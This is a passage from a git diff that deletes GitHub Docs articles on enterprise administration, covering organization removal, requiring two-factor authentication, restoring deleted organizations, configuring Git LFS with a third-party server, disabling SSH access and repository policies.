variables.product.prodname_ghe_cloud %} that is used by the organization. If you're unable to configure your IdP yourself, contact your IdP administrator. -1. Authenticate to the organization using SAML SSO. - - * If the organization uses SCIM, accept the organization invitation that will be generated by the SCIM integration. - * If the organization does not use SCIM, visit the following URL, replacing ORGANIZATION with the name of the organization, then follow the prompts to authenticate. - - `https://github.com/orgs/ORGANIZATION/sso` - -After you've joined the organization, you can use the enterprise settings to manage your role in the organization, such as becoming an organization owner. For more information, see [Managing your role with the enterprise settings](#managing-your-role-with-the-enterprise-settings). - -{% endif %} diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md deleted file mode 100644 index 886183cef26b..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Preventing users from creating organizations -redirect_from: - - /enterprise/admin/articles/preventing-users-from-creating-organizations - - /enterprise/admin/hidden/preventing-users-from-creating-organizations - - /enterprise/admin/user-management/preventing-users-from-creating-organizations - - /admin/user-management/preventing-users-from-creating-organizations - - /admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations -intro: You can prevent users from creating organizations in your enterprise. -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Organizations - - Policies -shortTitle: Prevent organization creation ---- -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Users can create organizations", use the drop-down menu and click **Enabled** or **Disabled**. diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md deleted file mode 100644 index 7c4cd9645046..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Removing organizations from your enterprise -intro: 'Learn how to remove an organization that should no longer be a part of your enterprise.' -permissions: Enterprise owners can remove any organization from their enterprise. -versions: - ghec: '*' -type: how_to -topics: - - Enterprise -shortTitle: Remove organizations -redirect_from: - - /admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise ---- - -You can remove an organization that is owned by your enterprise account, so the organization stands alone. - -## What happens when an organization is removed? - -When you remove an organization from your enterprise: - -* Billing, identity management, 2FA requirements, and other policies for the organization will no longer be governed by your enterprise. -* The organization will be downgraded to the free plan. -* The organization will be governed by our standard Terms of Service. -* Any internal repositories within the organization will be converted to private repositories. - -As part of the downgrade to the free plan: - -* Protected branch and ruleset configurations will be retained in your settings, but will no longer be applied in private repositories. -* Existing pull request drafts will remain in draft status. New drafts cannot be created. -* CODEOWNERS files will no longer be applied in private repositories. -* Private {% data variables.product.prodname_pages %} sites will no longer be available. -* Wikis will be retained, but won't be visible unless the organization is upgraded to {% data variables.product.prodname_team %}. -* Secrets will be retained, but will not be accessible in private repositories unless the organization is upgraded to {% data variables.product.prodname_team %}. - -## Removing an organization from your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -1. In the left sidebar, click **Organizations**. -1. In the search bar, begin typing the organization's name until the organization appears in the search results. -1. To the right of the organization's name, select the ... dropdown menu and click **Remove organization**. - - ![Expanded dropdown menu labelled with "...", for an organization. The "Remove organization" option outlined.](/assets/images/help/enterprises/remove-organization.png) - -1. Review the warnings, then click **Remove organization**. - -## Further reading - -* [AUTOTITLE](/admin/overview/about-enterprise-accounts) diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md deleted file mode 100644 index 05a0ff35038a..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Requiring two-factor authentication for an organization -intro: 'You can require organization members and outside collaborators to enable two-factor authentication for their personal accounts in an organization, making it harder for malicious actors to access an organization''s repositories and settings.' -redirect_from: - - /enterprise/admin/user-management/requiring-two-factor-authentication-for-an-organization - - /admin/user-management/requiring-two-factor-authentication-for-an-organization - - /admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization -versions: - ghes: '*' -type: how_to -topics: - - 2FA - - Enterprise - - Organizations - - Policies - - Security -shortTitle: Require 2FA ---- -When using LDAP or built-in authentication, two-factor authentication is supported on {% data variables.location.product_location %}. Organization owners can require members to have two-factor authentication enabled. - -{% data reusables.enterprise_user_management.external_auth_disables_2fa %} - -For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication). - -## Requirements for enforcing two-factor authentication - -Before you can require organization members and outside collaborators to use 2FA, you must [enable two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa) for your own personal account. - -Before you require use of two-factor authentication, we recommend notifying organization members and outside collaborators and asking them to set up 2FA for their accounts. You can [see if members and outside collaborators already use 2FA](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled) on an organization's People tab. - -{% data reusables.two_fa.ghes_ntp %} - -> [!WARNING] -> * When you require two-factor authentication, members and outside collaborators (including bot accounts) who do not use 2FA will be removed from the organization and lose access to its repositories, including their forks of private repositories. If they enable 2FA for their personal account within three months of being removed from the organization, you can reinstate their access privileges and settings, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization). -> * When 2FA is required, organization members or outside collaborators who disable 2FA will automatically be removed from the organization. -> * If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the organization. - -## Requiring two-factor authentication for an organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.organizations.require_two_factor_authentication %} -{% data reusables.organizations.removed_outside_collaborators %} - -## Viewing people who were removed from your organization - -To view people who were automatically removed from your organization for non-compliance when you required two-factor authentication, you can [search the audit log](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise) using `reason:two_factor_requirement_non_compliance` in the search field. - -{% data reusables.audit_log.octicon_icon %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.audit_log.audit_log_sidebar_for_site_admins %} - -1. Enter your search query using `reason:two_factor_requirement_non_compliance`. To narrow your search for: - * Outside collaborators removed, enter `action:org.remove_outside_collaborator AND reason:two_factor_requirement_non_compliance` - - You can also view people removed from a particular organization by using the organization name in your search: - * `org:octo-org AND reason:two_factor_requirement_non_compliance` -1. Click **Search**. - -## Helping removed outside collaborators rejoin your organization - -If any outside collaborators are removed from the organization when you enable required use of two-factor authentication, they'll receive an email notifying them that they've been removed. They should then enable 2FA for their personal account, and contact an organization owner to request access to your organization. - -## Further reading - -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa) -* [AUTOTITLE](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/reinstating-a-former-outside-collaborators-access-to-your-organization) diff --git a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md b/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md deleted file mode 100644 index 550bcb37b1cf..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Restoring a deleted organization -intro: 'You can partially restore an organization that was previously deleted on {% data variables.location.product_location %}.' -versions: - ghes: '*' -type: how_to -topics: - - Administrator - - Enterprise - - Organizations -shortTitle: Restore organization -permissions: 'Site administrators' -redirect_from: - - /admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization ---- - -## About organization restoration - -You can use the site admin dashboard to restore an organization that was previously deleted on {% data variables.location.product_location %}, as long as the audit log Elasticsearch indices contain the data for the `org.delete` event. - -Immediately after you restore an organization, the organization will not be exactly the same as it was prior to the deletion. You'll have to manually restore any repositories that were owned by the organization. For more information, see [AUTOTITLE](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository). - -You can also use the audit log to help you manually re-add teams and organization members. For more information, see [Restoring members and teams](#restoring-members-and-teams). - -## Restoring an organization - -{% data reusables.enterprise_site_admin_settings.access-settings %} -1. Under "Search users, organizations, enterprises, teams, repositories, gists, and applications", search for the organization. - - ![Screenshot of the "Search" page of the "Site admin" settings. The button to search users, labeled "Search," is highlighted with an orange outline.](/assets/images/enterprise/site-admin-settings/search-for-things.png) - -1. Under "Deleted accounts", to the right of the organization you want to restore, select the {% octicon "kebab-horizontal" aria-label="Show more options" %} dropdown menu, then click **Recreate**. - -## Restoring members and teams - -You can use the audit log to find a list of the previous members and teams of the organization, then recreate them manually. For more information about using the audit log, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise). - -In all the search phrases below, replace ORGANIZATION with the name of the organization and TEAM with the name of the team. - -### Restoring organization members - -1. To find all users who were added to and removed from the organization, search the audit log for `action:org.add_member org:ORGANIZATION` and `action:org.remove_member org:ORGANIZATION`. -1. Manually add to the organization each user that should still be a member. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization). - -### Restoring teams - -1. To find each team name, search the audit log for `action:team.create org:ORGANIZATION`. -1. Manually recreate the team. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/creating-a-team). -1. To find the members that have been added to each team, search for `action:team.add_member team:"ORGANIZATION/TEAM"`. -1. Manually re-add the team members. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team). -1. To find the repositories that the team was granted access to, search for `action:team.add_repository team:"ORGANIZATION/TEAM"`. -1. To find the access level that the team was granted for each repository, search for `action:team.update_repository_permission team:"ORGANIZATION/TEAM"`. -1. Manually give the team access again. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository). diff --git a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/accessing-user-owned-repositories-in-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/accessing-user-owned-repositories-in-your-enterprise.md deleted file mode 100644 index 2907f5ffb118..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/accessing-user-owned-repositories-in-your-enterprise.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Accessing user-owned repositories in your enterprise -intro: "You can temporarily access a repository owned by a user within your enterprise." -permissions: Enterprise owners can temporarily access user-owned repositories. -versions: - feature: 'emu-owned-repos' -type: how_to -topics: - - Enterprise - - Repositories -shortTitle: Access user-owned repositories -redirect_from: - - /admin/user-management/managing-repositories-in-your-enterprise/accessing-user-owned-repositories-in-your-enterprise ---- - -> [!NOTE] -> Temporarily accessing user-owned repositories is currently in {% data variables.release-phases.public_preview %} for {% data variables.product.prodname_emus %} and subject to change. - -## About temporary access to user-owned repositories - -If your enterprise uses {% data variables.product.prodname_emus %}, and you've allowed users to create repositories owned by their user accounts, you can temporarily access any user-owned repository within your enterprise. - -When you temporarily access a repository, you get admin access to the repository for two hours. You can take all the same actions as the repository owner, including editing the repository, changing the repository's settings, transferring the repository, and deleting the repository. - -The repository owner will receive an email informing them that you have enabled temporary access to the repository, and a `repo.temporary_access_granted` event will be added to the audit log for your enterprise and the user's security log. - -## Temporarily accessing a repository - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -{% data reusables.enterprise.view-user-namespace-repos %} -1. To the right of the repository you want to access, select the {% octicon "kebab-horizontal" aria-label="Access repository" %} dropdown menu, then click **Enable temporary access**. - - ![Screenshot of the list of user namespace repositories. To the right of a repository, a kebab icon is outlined in dark orange.](/assets/images/help/business-accounts/user-namespace-repo-kebab.png) -1. Read the warnings, then click **Yes, enable temporary access**. diff --git a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md deleted file mode 100644 index 90931cc78308..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Configuring Git Large File Storage for your enterprise -intro: '{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %}' -redirect_from: - - /enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise - - /enterprise/admin/installation/configuring-git-large-file-storage-on-github-enterprise-server - - /enterprise/admin/installation/configuring-git-large-file-storage - - /enterprise/admin/installation/configuring-git-large-file-storage-to-use-a-third-party-server - - /enterprise/admin/installation/migrating-to-a-different-git-large-file-storage-server - - /enterprise/admin/articles/configuring-git-large-file-storage-for-a-repository - - /enterprise/admin/articles/configuring-git-large-file-storage-for-every-repository-owned-by-a-user-account-or-organization - - /enterprise/admin/articles/configuring-git-large-file-storage-for-your-appliance - - /enterprise/admin/guides/installation/migrating-to-different-large-file-storage-server - - /enterprise/admin/user-management/configuring-git-large-file-storage-for-your-enterprise - - /admin/user-management/configuring-git-large-file-storage-for-your-enterprise - - /admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise - - /admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/migrating-to-internal-repositories -versions: - ghes: '*' -type: how_to -topics: - - Git - - Enterprise - - LFS - - Storage -shortTitle: Configure Git LFS ---- -## About {% data variables.large_files.product_name_long %} - -{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %} You can use {% data variables.large_files.product_name_long %} with a single repository, all of your personal or organization repositories, or with every repository in your enterprise. Before you can enable {% data variables.large_files.product_name_short %} for specific repositories or organizations, you need to enable {% data variables.large_files.product_name_short %} for your enterprise. - -{% data reusables.large_files.storage_assets_location %} -{% data reusables.large_files.rejected_pushes %} - -For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage), [AUTOTITLE](/repositories/working-with-files/managing-large-files), and the [{% data variables.large_files.product_name_long %} project site](https://git-lfs.com/). - -{% data reusables.large_files.can-include-lfs-objects-archives %} - -## Configuring {% data variables.large_files.product_name_long %} for your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "{% data variables.large_files.product_name_short %} access", select the drop-down menu, and click **Enabled** or **Disabled**. - -## Configuring {% data variables.large_files.product_name_long %} for an individual repository - -{% data reusables.enterprise_site_admin_settings.override-policy %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.repository-search %} -{% data reusables.enterprise_site_admin_settings.click-repo %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -{% data reusables.enterprise_site_admin_settings.admin-tab %} -{% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} - -## Configuring {% data variables.large_files.product_name_long %} for every repository owned by a user account or organization - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user-or-org %} -{% data reusables.enterprise_site_admin_settings.click-user-or-org %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -{% data reusables.enterprise_site_admin_settings.admin-tab %} -{% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} - -## Configuring Git Large File Storage to use a third party server - -{% data reusables.large_files.storage_assets_location %} -{% data reusables.large_files.rejected_pushes %} - -1. Disable {% data variables.large_files.product_name_short %} on {% data variables.location.product_location %}. For more information, see [Configuring {% data variables.large_files.product_name_long %} for your enterprise](#configuring-git-large-file-storage-for-your-enterprise). - -1. Create a {% data variables.large_files.product_name_short %} configuration file that points to the third party server. - - ```shell - # Show default configuration - $ git lfs env - > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) - > git version 2.7.4 (Apple Git-66) -   - > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic) -   - # Create .lfsconfig that points to third party server. - $ git config -f .lfsconfig remote.origin.lfsurl https://THIRD-PARTY-LFS-SERVER/path/to/repo - $ git lfs env - > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) - > git version 2.7.4 (Apple Git-66) -   - > Endpoint=https://THIRD-PARTY-LFS-SERVER/path/to/repo/info/lfs (auth=none) -   - # Show the contents of .lfsconfig - $ cat .lfsconfig - [remote "origin"] - lfsurl = https://THIRD-PARTY-LFS-SERVER/path/to/repo - ``` - -1. To keep the same {% data variables.large_files.product_name_short %} configuration for each user, commit a custom `.lfsconfig` file to the repository. - - ```shell - git add .lfsconfig - git commit -m "Adding LFS config file" - ``` - -1. Migrate any existing {% data variables.large_files.product_name_short %} assets. For more information, see [Migrating to a different {% data variables.large_files.product_name_long %} server](#migrating-to-a-different-git-large-file-storage-server). - -## Migrating to a different Git Large File Storage server - -Before migrating to a different {% data variables.large_files.product_name_long %} server, you must configure {% data variables.large_files.product_name_short %} to use a third party server. For more information, see [Configuring {% data variables.large_files.product_name_long %} to use a third party server](#configuring-git-large-file-storage-to-use-a-third-party-server). - -1. Configure the repository with a second remote. - - ```shell - $ git remote add NEW-REMOTE https://NEW-REMOTE-HOSTNAME/path/to/repo -   - $ git lfs env - > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) - > git version 2.7.4 (Apple Git-66) -   - > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic) - > Endpoint (NEW-REMOTE)=https://NEW-REMOTE-HOSTNAME/path/to/repo/info/lfs (auth=none) - ``` - -1. Fetch all objects from the old remote. - - ```shell - $ git lfs fetch origin --all - > Scanning for all objects ever referenced... - > ✔ 16 objects found - > Fetching objects... - > Git LFS: (16 of 16 files) 48.71 MB / 48.85 MB - ``` - -1. Push all objects to the new remote. - - ```shell - $ git lfs push NEW-REMOTE --all - > Scanning for all objects ever referenced... - > ✔ 16 objects found - > Pushing objects... - > Git LFS: (16 of 16 files) 48.00 MB / 48.85 MB, 879.10 KB skipped - ``` - -## Further reading - -* [{% data variables.large_files.product_name_long %} project site](https://git-lfs.com/) diff --git a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md deleted file mode 100644 index 8ed667b0bbd7..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Disabling Git SSH access on your enterprise -redirect_from: - - /enterprise/admin/hidden/disabling-ssh-access-for-a-user-account - - /enterprise/admin/articles/disabling-ssh-access-for-a-user-account - - /enterprise/admin/hidden/disabling-ssh-access-for-your-appliance - - /enterprise/admin/articles/disabling-ssh-access-for-your-appliance - - /enterprise/admin/hidden/disabling-ssh-access-for-an-organization - - /enterprise/admin/articles/disabling-ssh-access-for-an-organization - - /enterprise/admin/hidden/disabling-ssh-access-to-a-repository - - /enterprise/admin/articles/disabling-ssh-access-to-a-repository - - /enterprise/admin/guides/installation/disabling-git-ssh-access-on-github-enterprise - - /enterprise/admin/installation/disabling-git-ssh-access-on-github-enterprise-server - - /enterprise/admin/user-management/disabling-git-ssh-access-on-github-enterprise-server - - /admin/user-management/disabling-git-ssh-access-on-github-enterprise-server - - /admin/user-management/disabling-git-ssh-access-on-your-enterprise - - /admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise -intro: You can prevent people from using Git over SSH for certain or all repositories on your enterprise. -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Policies - - Security - - SSH -shortTitle: Disable SSH for Git ---- -## Disabling Git SSH access to a specific repository - -{% data reusables.enterprise_site_admin_settings.override-policy %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.repository-search %} -{% data reusables.enterprise_site_admin_settings.click-repo %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. Under "Git SSH access", select the drop-down menu, and click **Disabled**. - -## Disabling Git SSH access to all repositories owned by a user or organization - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user-or-org %} -{% data reusables.enterprise_site_admin_settings.click-user-or-org %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. Under "Git SSH access", select the drop-down menu, and click **Disabled**. -1. Select **Enforce on all repositories**. - - ![Screenshot of the "Git SSH access" section of the site admin page for an organization. The "Enforce on all repositories" checkbox is outlined.](/assets/images/enterprise/site-admin-settings/git-ssh-access-organization-setting.png) - -## Disabling Git SSH access to all repositories in your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Git SSH access", select the drop-down menu, and click **Disabled**. -1. Select **Enforce on all repositories**. - - ![Screenshot of the "Git SSH access" section on the enterprise's policies page. The "Enforce on all repositories" checkbox is outlined.](/assets/images/enterprise/site-admin-settings/git-ssh-access-appliance-setting.png) diff --git a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/governing-how-people-use-repositories-in-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/governing-how-people-use-repositories-in-your-enterprise.md deleted file mode 100644 index 12137d78af45..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/governing-how-people-use-repositories-in-your-enterprise.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Governing how people use repositories in your enterprise -intro: "Create a repository policy to control who can do things like create and delete repositories." -permissions: Enterprise owners -versions: - feature: repo-policy-rules -type: how_to -topics: - - Enterprise - - Repositories -shortTitle: Govern repository usage ---- - -{% data reusables.enterprise.repo-policy-rules-preview %} - -{% data reusables.enterprise.repo-policy-rules-intro %} - ->[!TIP] If you're an **organization owner**, you can create a repository policy for a specific organization. See [AUTOTITLE](/organizations/managing-organization-settings/governing-how-people-use-repositories-in-your-organization). - -## Examples - -{% data reusables.enterprise.repo-policy-rules-examples %} - -## How will I target repositories? - -First, you'll target organizations in your enterprise. You can select all organizations, choose from a list, or create a dynamic rule using `fnmatch` syntax. If you use {% data variables.product.prodname_emus %}, you can also choose to target all repositories owned by users in your enterprise. - -Then, you'll target repositories in the selected organizations. {% data reusables.enterprise.repo-policy-rules-with-custom-properties %} - -## Interaction with other policies - -{% data reusables.enterprise.repo-policy-rules-with-existing-policies %} -* They're visible to organization owners, so there is more transparency around what is permitted. -* They allow you to target repositories owned by {% data variables.product.prodname_emus %}. - -## Creating a repository policy - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -1. Under "Policies", click **Repository**. -1. Click **New policy**. -1. Configure your new policy, then click **Create**. For help, consult the following subsections. - -### Policy name - -Use something descriptive to communicate the purpose of the policy. Organization owners can view the policy, so good names help add clarity. For example: `Prevent public repos on production`. - -### Enforcement status - -{% data reusables.enterprise.repo-policy-rules-enforcement %} - -### Allow list - -{% data reusables.enterprise.repo-policy-rules-allow-list %} - -### Targets - -Choose which organizations and repositories the policy applies to. - -#### Target organizations - -Select all organizations, choose a selection of existing organizations, or set a dynamic list by name. If you use {% data variables.product.prodname_emus %}, you can also choose to target all repositories owned by users in your enterprise. - -If you set a dynamic list, you'll add one or more naming patterns using `fnmatch` syntax. For example, the string `*open-source` would match any organization with a name that ends with `open-source`. For syntax details, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#using-fnmatch-syntax). - -#### Target repositories - -Choose which repositories (current or future) to target in the selected organizations. You can select all repositories or set a dynamic list by custom property. - -### Policies - -{% data reusables.enterprise.repo-policy-rules-policies-section %} - -## Further reading - -To set additional policies for repository management, see [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise). diff --git a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/index.md b/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/index.md deleted file mode 100644 index 9645ebb0564f..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Managing repositories in your enterprise -intro: You can manage repositories in your enterprise. -redirect_from: - - /enterprise/admin/user-management/repositories - - /enterprise/admin/user-management/managing-repositories-in-your-enterprise - - /admin/user-management/managing-repositories-in-your-enterprise -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /governing-how-people-use-repositories-in-your-enterprise - - /viewing-user-owned-repositories-in-your-enterprise - - /accessing-user-owned-repositories-in-your-enterprise - - /managing-custom-properties-for-repositories-in-your-enterprise - - /configuring-git-large-file-storage-for-your-enterprise - - /disabling-git-ssh-access-on-your-enterprise - - /locking-a-repository - - /restoring-a-deleted-repository - - /troubleshooting-service-hooks -shortTitle: Manage repositories ---- diff --git a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/locking-a-repository.md b/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/locking-a-repository.md deleted file mode 100644 index e7ae30fce884..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/locking-a-repository.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Locking a repository -intro: You can prevent changes to a repository's code and other resources, such as issues and pull requests, by locking the repository. -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Repositories -shortTitle: Lock a repository -redirect_from: - - /admin/user-management/managing-repositories-in-your-enterprise/locking-a-repository ---- - -## Locking a repository - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.repository-search %} -{% data reusables.enterprise_site_admin_settings.click-repo %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. In the "Single Repository Lock" section, click **Lock**. - -## Unlocking a repository - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.repository-search %} -{% data reusables.enterprise_site_admin_settings.click-repo %} -1. In the "Single Repository Lock" section, click **Unlock**. diff --git a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/managing-custom-properties-for-repositories-in-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/managing-custom-properties-for-repositories-in-your-enterprise.md deleted file mode 100644 index 8777024b5993..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/managing-custom-properties-for-repositories-in-your-enterprise.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Managing custom properties for repositories in your enterprise -intro: 'Create custom properties to give organizations a consistent way to categorize repositories.' -permissions: Enterprise owners -versions: - ghec: '*' -topics: - - Repositories -shortTitle: Custom properties ---- - -Custom properties allow you to decorate your repositories with information such as compliance frameworks, data sensitivity, or project details. Custom properties are private and can only be viewed by people with read permissions to the repository. An enterprise can have up to 100 property definitions. An allowed value list can have up to 200 items. - -Defining custom properties at the enterprise level allows you to create consistent values that users can apply to repositories. With custom properties in place, you can apply consistent governance across repositories in your enterprise by creating a ruleset or repository policy targeting repositories with certain properties. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/governing-how-people-use-repositories-in-your-enterprise). - -## Allowed characters - -{% data reusables.repositories.custom-property-allowed-characters %} - -## Who can set and view values for custom properties I define? - -After you define a custom property, users can set a value for that property in repositories in the enterprise. See [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization#setting-values-for-repositories-in-your-organization). - -* As an enterprise owner, you can set a default value for required properties. -* Organization owners can set values in their organization, either across repositories or at the repository level. -* If enabled, people with repository access, or the `custom properties` fine-grained permission, can set and update the property value for their repository. - -People with read permissions to a repository can view the custom property values for that repository. - -Additionally, organization owners can search for repositories in their organization by custom property values. See [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization#searching-and-filtering-repositories-by-custom-property-values). - -## Adding custom properties - -You can add custom properties to your enterprise to make those properties available in all of your orgaizations. - -{% data reusables.enterprise-accounts.access-enterprise %} -1. In the left sidebar, under "Policies", click **Custom properties**. -1. To add a new custom property, in the upper-right corner, click **New property**. -1. Enter a name, description, and type for the custom property. The name must be unique across all of your organizations, and cannot contain spaces. -1. Optionally, select **Allow repository actors to set this property**. When enabled, repository users and apps with the repository-level `custom properties` fine-grained permission will be able to set and update the property value for their repository. Additionally, any actor creating a repository can set the property on the repository. -1. Optionally, select **Require this property for all repositories** and add a default value. This means that you require that all repositories in your enterprise have a value for this property. Repositories that don’t have an explicit value for this 